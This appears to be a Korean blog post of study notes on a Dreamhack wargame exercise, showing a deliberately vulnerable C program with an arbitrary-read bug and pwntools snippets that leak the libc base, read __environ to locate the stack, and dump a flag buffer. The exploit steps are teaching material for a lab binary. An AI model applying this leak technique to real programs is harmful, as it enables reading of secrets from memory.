__environ 본문
https://dreamhack.io/learn/270#1
__environ이라는 이름의 전역 변수가 존재한다.
이는 시스템 명령어를 실행하기 위한 execve 계열의 함수와 getenv 등
환경 변수와 관련된 함수에서 참조하는 변수이다.
// Name: environ.c
// Compile: gcc -o environ environ.c
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
void sig_handle() {
exit(0);
}
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
signal(SIGALRM, sig_handle);
alarm(5);
}
void read_file() {
char file_buf[4096];
int fd = open("/home/environ_exercise/flag", O_RDONLY);
read(fd, file_buf, sizeof(file_buf) - 1);
close(fd);
}
int main() {
char buf[1024];
long addr;
int idx;
init();
read_file();
printf("stdout: %p\n", stdout);
while (1) {
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Addr: ");
scanf("%ld", &addr);
printf("%s", (char *)addr);
break;
default:
break;
}
}
return 0;
}
바이너리 코드이다.
먼저 문제에서 제공한 stdout을 통해 libc base를 leak 한다.
그 후 __environ 포인터 주소를 알아낸다.
__environ의 주소를 알아낸 후 주소 읽기 취약점을 통해
스택 주소를 알아낸다, "/home/environ_exercise/flag" 파일의 내용이
저장된 스택 버퍼 주소를 계산한다.
stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + elf.symbols['__environ']
__environ의 주소를 찾는 코드이다.
read함수에서 bp를 걸고 파일의 내용이 저장된 rcx레지스터의 주소를 구한다.
__environ과의 차이를 계산해준다.
p.sendlineafter(">", "1")
p.sendlineafter(":", str(libc_environ))
p.recv(1)
stack_environ = u64(p.recv(6).ljust(8, "\x00"))
file_content = stack_environ - 0x1538
print("stack_environ: " + hex(stack_environ))
p.sendlineafter(">", "1")
p.sendlineafter(":", str(file_content))
계산된 주소를 출력을 해주면
flag가 나온다.
'개념 정리' 카테고리의 다른 글
_IO_FILE Arbitrary Address Write (0) | 2022.02.10 |
---|---|
_IO_FILE Arbitrary Address Read (0) | 2022.02.10 |
overwrite _rtld_global (0) | 2022.02.07 |
vtable check bypass (0) | 2022.01.18 |
PE 기초 개념 (0) | 2022.01.15 |
Comments